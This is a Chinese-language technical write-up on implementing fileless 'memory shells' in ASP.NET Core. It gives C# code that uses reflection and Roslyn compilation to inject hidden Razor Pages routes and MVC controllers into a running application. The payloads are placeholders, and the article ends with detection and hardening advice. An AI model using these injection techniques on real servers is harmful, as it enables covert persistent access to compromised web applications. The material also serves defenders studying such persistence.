.Net Core下的内存马
字数 1466 2025-08-29 08:30:25

.NET Core 内存马技术分析与实现

1. 背景与前提

1.1 .NET Core Web开发模式

ASP.NET Core 支持三种主要开发模式:

  • Razor Pages:建立在MVC基础上的简化形式,URL路径由文件系统位置决定
  • MVC:传统的模型-视图-控制器模式
  • Blazor:组件化、现代应用框架,支持WebAssembly或Server模式

1.2 运行时编译机制

在未开启运行时编译时,除静态文件外所有内容都会预编译为dll。开启运行时编译后:

  • 允许修改.cshtml文件实现动态更新
  • Razor Pages中.cshtml作为单页页面
  • MVC中.cshtml作为视图文件

相关配置项:

<RazorCompileOnBuild>false</RazorCompileOnBuild>  <!-- 禁用构建时预编译 -->
<RazorCompileOnPublish>false</RazorCompileOnPublish>  <!-- 禁用发布时预编译 -->
<CopyRazorGenerateFilesToPublishDirectory>true</CopyRazorGenerateFilesToPublishDirectory>  <!-- 保留.cshtml文件 -->

1.3 ASP.NET Core核心机制

  • 依赖注入(DI):所有服务通过DI提供,每个请求创建新的IServiceProvider
  • 中间件管道:由一系列中间件组成,MVC框架建立在EndpointRoutingMiddleware和EndpointMiddleware上
  • 路由系统:维护Endpoint集合,包含路由模式与RequestDelegate委托的映射

2. Razor Pages内存马实现

2.1 Razor Pages架构分析

项目结构

Pages/          # Razor页面
wwwroot/        # 静态文件
appsettings.json # 配置
Program.cs      # 启动配置

启动流程关键点

  1. AddRazorPages():注册页面服务
  2. MapRazorPages():创建Endpoint
  3. PageActionEndpointDataSource:监听变动并更新路由

请求处理流程

  1. EndpointRoutingMiddleware匹配Endpoint
  2. EndpointMiddleware执行Endpoint的RequestDelegate

2.2 内存马实现技术

核心思路

通过实现IPageRouteModelProvider接口添加恶意路由

public class ShellPageRouteModelProvider : IPageRouteModelProvider
{
    public int Order { get => -1000 + 10; }
    public string _pagePath;

    public void OnProvidersExecuting(PageRouteModelProviderContext context)
    {
        var pagePath = _pagePath;
        var relativePath = "/Shell_";
        var routeModel = new PageRouteModel(relativePath, pagePath);
        routeModel.RouteValues.Add("page", routeModel.ViewEnginePath);
        routeModel.Selectors.Add(new SelectorModel
        {
            AttributeRouteModel = new AttributeRouteModel
            {
                Template = AttributeRouteModel.CombineTemplates(pagePath, null),
            },
            EndpointMetadata = { new PageRouteMetadata(pagePath, null) }
        });
        context.RouteModels.Add(routeModel);
    }
}

文件系统劫持

实现自定义IFileProvider绕过物理文件检查:

public class MyFileInfo : IFileInfo
{
    public bool Exists => true;
    // 其他属性实现...
    
    public Stream CreateReadStream()
    {
        // 还原原始FileSystem
        var originalFileSystem = GetOriginalFileSystem();
        return new MemoryStream(Encoding.ASCII.GetBytes("恶意内容"));
    }
}

public class TestFileFileProvider : IFileProvider
{
    public IFileInfo GetFileInfo(string subpath)
    {
        if (subpath.Contains("Shell_"))
        {
            return new MyFileInfo { Name = subpath };
        }
        return GetOriginalFileSystem().GetFileInfo(subpath);
    }
}

2.3 注入流程

  1. 添加自定义PageRouteModelProvider:
var pagePath = "/fakepath/" + Guid.NewGuid().ToString("D");
var pageActionDescriptorProvider = GetPageActionDescriptorProvider();
var routeModelProvidersField = pageActionDescriptorProvider.GetType().GetField(
    "_routeModelProviders", BindingFlags.Instance | BindingFlags.NonPublic);
var routeModelProviders = (IPageRouteModelProvider[])routeModelProvidersField.GetValue(pageActionDescriptorProvider);
var _list = routeModelProviders.ToList();
_list.Add(new ShellPageRouteModelProvider(pagePath));
routeModelProvidersField.SetValue(pageActionDescriptorProvider, _list.ToArray());
  1. 替换Razor视图引擎的FileSystem:
var myFileFileProvider = new TestFileFileProvider();
var razorProjectEngine = GetRazorProjectEngine();
var fileSystem = razorProjectEngine.FileSystem;
// 反射修改_fileProvider和_compositeFileProvider
  1. 通知路由更新:
var originalFileSystem = GetOriginalFileSystem();
RestoreOriginalFileSystem();
var provider = GetActionDescriptorCollectionProvider();
provider.GetType().GetMethod("UpdateCollection", BindingFlags.NonPublic | BindingFlags.Instance)
    .Invoke(provider, null);

3. MVC内存马实现

3.1 MVC架构分析

控制器实例化方式

  1. 默认实例化

    • 使用DefaultControllerActivator
    • 每次请求创建新实例
    • 只解析控制器的依赖项
  2. DI容器实例化

    • 使用ServiceBasedControllerActivator
    • 控制器本身也由DI容器管理

请求处理流程

  1. 匹配Endpoint
  2. 创建ControllerActionInvoker
  3. 实例化Controller并执行Action

3.2 内存马实现技术

动态编译控制器

使用Roslyn动态编译恶意控制器:

public Assembly Compile(string text)
{
    var references = AppDomain.CurrentDomain.GetAssemblies()
        .Where(a => !a.IsDynamic && !string.IsNullOrEmpty(a.Location))
        .Select(a => MetadataReference.CreateFromFile(a.Location))
        .Cast<MetadataReference>()
        .ToList();
    
    var options = new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary);
    var assemblyName = "_" + Guid.NewGuid().ToString("D");
    var syntaxTrees = new SyntaxTree[] { CSharpSyntaxTree.ParseText(text) };
    var compilation = CSharpCompilation.Create(assemblyName, syntaxTrees, references, options);
    
    using var stream = new MemoryStream();
    var compilationResult = compilation.Emit(stream);
    if (compilationResult.Success)
    {
        stream.Seek(0, SeekOrigin.Begin);
        return Assembly.Load(stream.ToArray());
    }
    throw new InvalidOperationException("Compilation error");
}

// 使用示例
string action_name = "_" + Guid.NewGuid().ToString("D").Replace("-", "");
string controller_name = "_" + Guid.NewGuid().ToString("D").Replace("-", "");
string sourceCode = @"
    public class {0}Controller
    {
        public string {1}()
        {
            return ""ok"";
        }
    }
".Replace("{1}", action_name).Replace("{0}", controller_name);

var assemblyShell = Compile(sourceCode);

3.3 注入流程

默认实例化方式

  1. 添加程序集到ApplicationParts:
var actionDescriptorProvider = GetControllerActionDescriptorProvider();
var partManager = actionDescriptorProvider.GetType().GetField(
    "_partManager", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(actionDescriptorProvider);
var applicationParts = (List<ApplicationPart>)partManager.GetType()
    .GetProperty("ApplicationParts").GetValue(partManager);
var assemblyPart = Activator.CreateInstance(
    typeof(AssemblyPart), assemblyShell);
applicationParts.Add(assemblyPart);
  1. 通知路由更新:
GetActionDescriptorCollectionProvider()
    .GetType().GetMethod("UpdateCollection", BindingFlags.NonPublic | BindingFlags.Instance)
    .Invoke(GetActionDescriptorCollectionProvider(), null);

DI容器实例化方式

额外需要注册控制器服务:

var requestServices = HttpContext.RequestServices;
Type controllerType = assemblyShell.DefinedTypes.FirstOrDefault(
    t => t.FullName.Contains("Controller"));

// 获取ServiceIdentifier相关反射对象
var serviceIdentifierType = GetServiceIdentifierType();
var fromServiceTypeMethod = serviceIdentifierType.GetMethod("FromServiceType");
var rootProvider = GetRootProvider();
var serviceAccessors = GetServiceAccessors(rootProvider);

// 创建自定义ServiceAccessor
var _controllerServiceIdentifier = fromServiceTypeMethod.Invoke(
    null, new object[] { controllerType });
var serviceAccessorType = GetServiceAccessorType();
Func<object?, object?> func = _ => Activator.CreateInstance(controllerType);
var serviceAccessor = Activator.CreateInstance(serviceAccessorType);
serviceAccessorType.GetProperty("RealizedService").SetValue(serviceAccessor, func);

// 添加到ServiceAccessors
var tryAddMethod = serviceAccessors.GetType().GetMethod("TryAdd");
tryAddMethod.Invoke(serviceAccessors, new object[]{_controllerServiceIdentifier, serviceAccessor});

4. 防御建议

  1. 禁用运行时编译:生产环境应关闭Razor运行时编译
  2. 文件上传限制:严格控制上传文件类型和内容
  3. 依赖注入监控:监控异常的DI容器注册行为
  4. 程序集加载控制:限制动态程序集加载
  5. 路由变更检测:监控异常的路由表变更
  6. 文件系统完整性检查:定期检查关键文件是否被篡改

5. 总结

.NET Core内存马技术主要利用:

  1. Razor运行时编译机制
  2. MVC路由系统的动态扩展性
  3. 依赖注入容器的可扩展性
  4. 反射机制绕过访问限制

防御关键在于严格控制运行时动态修改能力,加强应用行为监控。

.NET Core 内存马技术分析与实现 1. 背景与前提 1.1 .NET Core Web开发模式 ASP.NET Core 支持三种主要开发模式: Razor Pages :建立在MVC基础上的简化形式,URL路径由文件系统位置决定 MVC :传统的模型-视图-控制器模式 Blazor :组件化、现代应用框架,支持WebAssembly或Server模式 1.2 运行时编译机制 在未开启运行时编译时,除静态文件外所有内容都会预编译为dll。开启运行时编译后: 允许修改.cshtml文件实现动态更新 Razor Pages中.cshtml作为单页页面 MVC中.cshtml作为视图文件 相关配置项: 1.3 ASP.NET Core核心机制 依赖注入(DI) :所有服务通过DI提供,每个请求创建新的IServiceProvider 中间件管道 :由一系列中间件组成,MVC框架建立在EndpointRoutingMiddleware和EndpointMiddleware上 路由系统 :维护Endpoint集合,包含路由模式与RequestDelegate委托的映射 2. Razor Pages内存马实现 2.1 Razor Pages架构分析 项目结构 启动流程关键点 AddRazorPages() :注册页面服务 MapRazorPages() :创建Endpoint PageActionEndpointDataSource :监听变动并更新路由 请求处理流程 EndpointRoutingMiddleware 匹配Endpoint EndpointMiddleware 执行Endpoint的RequestDelegate 2.2 内存马实现技术 核心思路 通过实现 IPageRouteModelProvider 接口添加恶意路由 文件系统劫持 实现自定义 IFileProvider 绕过物理文件检查: 2.3 注入流程 添加自定义PageRouteModelProvider: 替换Razor视图引擎的FileSystem: 通知路由更新: 3. MVC内存马实现 3.1 MVC架构分析 控制器实例化方式 默认实例化 : 使用 DefaultControllerActivator 每次请求创建新实例 只解析控制器的依赖项 DI容器实例化 : 使用 ServiceBasedControllerActivator 控制器本身也由DI容器管理 请求处理流程 匹配Endpoint 创建 ControllerActionInvoker 实例化Controller并执行Action 3.2 内存马实现技术 动态编译控制器 使用Roslyn动态编译恶意控制器: 3.3 注入流程 默认实例化方式 添加程序集到ApplicationParts: 通知路由更新: DI容器实例化方式 额外需要注册控制器服务: 4. 防御建议 禁用运行时编译 :生产环境应关闭Razor运行时编译 文件上传限制 :严格控制上传文件类型和内容 依赖注入监控 :监控异常的DI容器注册行为 程序集加载控制 :限制动态程序集加载 路由变更检测 :监控异常的路由表变更 文件系统完整性检查 :定期检查关键文件是否被篡改 5. 总结 .NET Core内存马技术主要利用: Razor运行时编译机制 MVC路由系统的动态扩展性 依赖注入容器的可扩展性 反射机制绕过访问限制 防御关键在于严格控制运行时动态修改能力,加强应用行为监控。